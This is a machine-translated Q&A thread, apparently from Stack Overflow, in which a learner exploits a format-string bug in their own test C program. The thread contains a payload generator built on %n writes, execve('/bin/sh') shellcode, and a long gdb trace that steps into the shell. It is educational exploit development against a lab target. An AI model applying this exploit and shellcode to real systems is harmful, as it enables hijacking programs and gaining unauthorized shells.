格式化字符串错误 - 利用

时间:2011-02-19 18:21:12

标签: linux debugging exploit shellcode

我正在尝试利用我的格式字符串错误,该错误位于此程序中:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
  /* write into tmp a string formated as the format argument specifies */
  sprintf(tmp, format);

  /* just print the tmp buffer */
  printf("%s", tmp);
}

int main(int argc, char** argv) {
  char tmp[512];
  char format[512];

  while(1) {
    /* fill memory with constant byte */
    memset(format, '\0', 512);

    /* read at most 512 bytes into format */
    read(0, format, 512);

    /* compare two strings */
    if (!strncmp(format, "exit", 4))
      break;

    foo(tmp, format);
  }
  return 0;
}

堆栈如下所示:

Low Memory Addresses

   before printf             before sprintf
     function                   function

                         ----------------------- 
                         |     0xbffff258      | -
-----------------------  ----------------------- |--- arguments to printf/sprintf
|     0xbffff258      |  |     0xbffff058      | -
-----------------------  ----------------------- 
|     0xbffff458      |  (saved EBP)
-----------------------
|     0x08048528      |  (return address to main - EIP)
-----------------------
|     0xbffff258      |  (pointer to tmp)
----------------------- 
|     0xbffff058      |  (pointer to format)
-----------------------
|     0x00000004      |  (constant 4)
-----------------------
|      format[0]      |  (starts at 0xbffff058)
-----------------------
|     format[511]     |
-----------------------
|       tmp[0]        |  (starts at 0xbffff258)
-----------------------
|      tmp[511]       |
-----------------------
High Memory Addresses

所以基本的想法是写一个%x,%n,...的序列并将它提供给程序。我用来构建输入字符串的程序是:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
  char b0[255];
  char b1[255];
  char b2[255];
  char b3[255];
  char b4[1024];
  char buffer[512];

  memset(b0, 0, 255);
  memset(b1, 0, 255);
  memset(b2, 0, 255);
  memset(b3, 0, 255);
  memset(b4, 'A', 1024);

  memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
  memset(b1, 'A', 0xf0 - 0x68);
  memset(b2, 'A', 0xff - 0xf0);
  memset(b3, 'A', 0x1bf - 0xff);

  printf("\x48\xf0\xff\xbf" 
         "\x49\xf0\xff\xbf" 
         "\x4a\xf0\xff\xbf" 
         "\x4b\xf0\xff\xbf" 
         "%s" 
         "%s" 
         "%%6$n" 
         "%s" 
         "%%7$n"
         "%s" 
         "%%8$n" 
         "%s"
         "%%9$n" 
         ,shellcode, b0, b1, b2, b3);
}

我们可以看到我覆盖了地址:0xbffff048,0xbffff049,0xbffff04a,0xbffff04b,带有以下十六进制:0x68,0xf0,0xff,0x1bf,它给出了我们的地址:0xbffff068(这是shellcode的地址)在记忆中)。所以我的想法是用这个地址覆盖0x08048528(EIP),所以当函数返回时它会跳转到那个地址。

我已完成所有这些并使用调试器检查这一切都很好。但我仍然从/lib/libc.so.6中获取vfprintf()中的分段错误。

有人知道发生了什么事。我搞砸了什么吗?

由于

2 个答案:

答案 0 :(得分:3)

完全重写

  1. 好的,所以你的堆栈是可执行的。好。
  2. 您应该尝试禁用堆栈地址随机化。
  3. 这似乎是x86,但应该将这类信息添加到问题中。

答案 1 :(得分:0)

地址有一点变化,但我已经完成了你告诉我的事情,我使用了stepi,结果是:

strcpy之后的内存如下:

(gdb) x/50x $esp
0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141

我们可以看到跳转到的地址现在是0xbffff050,这是正确的(存在我们的shellcode)。

然后执行stepi:

(gdb) i reg $eip
eip            0x804846c        0x804846c <foo+24>
(gdb) stepi
0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
13      }

让我们分析一下:

(gdb) i reg $eip
eip            0x804846d        0x804846d <foo+25>
(gdb) x/4i $eip
=> 0x804846d <foo+25>:  ret
   0x804846e <main>:    push   ebp
   0x804846f <main+1>:  mov    ebp,esp
   0x8048471 <main+3>:  sub    esp,0x414

好的,如果我再做一次stepi,那么应该执行返回并且执行跳转到地址:0xbffff050。

和stepi再次执行return:

(gdb) stepi
0xbffff050 in ?? ()

(gdb) x/4i $eip
=> 0xbffff050:  jmp    0xbffff06c
   0xbffff052:  pop    esi
   0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb

(gdb) i reg $eip
eip            0xbffff050       0xbffff050
好吧,它试图跳到0xbffff050,但没有成功或什么? EIP仍然是0xbffff050。

记忆如下:

(gdb) x/50x 0xbffff024
0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141

我没有使用$ esp显示内存,因为它已从0xbffff024更改为0xbffff034。

好的,让我们跳转到0xbffff06c(这是shellcode的开头):

(gdb) stepi
0xbffff06c in ?? ()
(gdb) x/4i $eip
=> 0xbffff06c:  call   0xbffff052

好的,我们打电话给0xbffff052:

(gdb) stepi
0xbffff052 in ?? ()
(gdb) x/4i $eip
=> 0xbffff052:  pop    esi
   0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]

让我们将ESI寄存器与前一次调用的返回地址一起存储:

(gdb) stepi
0xbffff053 in ?? ()
(gdb) x/4i $eip
=> 0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
(gdb) i reg $esi
esi            0xbffff071       -1073745807

让我们将EAX设置为0:

(gdb) stepi
0xbffff055 in ?? ()
(gdb) i reg $eax
eax            0x0      0

让我们在内存中的位置写入null:

(gdb) x/4i $eip
=> 0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax

(gdb) x/20x $esp
before:
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141

after:
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414100      0x41414141      0x4141414

执行LEA指令:

(gdb) x/4i $eip
=> 0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb
(gdb) x/x $esi
0xbffff071:     0x6e69622f
(gdb) x/x $ebx
0x29aff4:       0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071:     0x6e69622f

另一个记忆变化:

(gdb) x/4i $eip
=> 0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb
   0xbffff062:  mov    ebx,esi
(gdb) stepi
0xbffff05d in ?? ()
(gdb) stepi
0xbffff060 in ?? ()
(gdb) x/40x $esp
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0xfff07100      0x000000bf      0x41414100

使用系统调用填充EAX:

(gdb) x/4i $eip
=> 0xbffff060:  mov    al,0xb
   0xbffff062:  mov    ebx,esi
   0xbffff064:  lea    ecx,[esi+0x8]
   0xbffff067:  lea    edx,[esi+0xc]
(gdb) i reg $eax
eax            0x0      0
(gdb) stepi
0xbffff062 in ?? ()
(gdb) i reg $eax
eax            0xb      11

填写ebx,ecx,edx:

(gdb) x/4i $eip
=> 0xbffff062:  mov    ebx,esi
   0xbffff064:  lea    ecx,[esi+0x8]
   0xbffff067:  lea    edx,[esi+0xc]
   0xbffff06a:  int    0x80
(gdb) stepi
0xbffff064 in ?? ()
(gdb) stepi
0xbffff067 in ?? ()
(gdb) stepi
0xbffff06a in ?? ()
(gdb) i reg $eax $ebx $ecx $edx
eax            0xb      11
ebx            0xbffff071       -1073745807
ecx            0xbffff079       -1073745799
edx            0xbffff07d       -1073745795

执行int指令:

(gdb) x/4i $eip
=> 0xbffff06a:  int    0x80
   0xbffff06c:  call   0xbffff052
   0xbffff071:  das
   0xbffff072:  bound  ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash

Program exited normally.

另一个步骤:

(gdb) stepi
The program is not being run.

所以我猜没有错误,它有效。但问题仍然是当我正常启动程序时,我只是没有得到/ bin / dash控制台。好奇的是,进程2863只是立即退出...而没有在gdb中提示shell?有什么想法吗?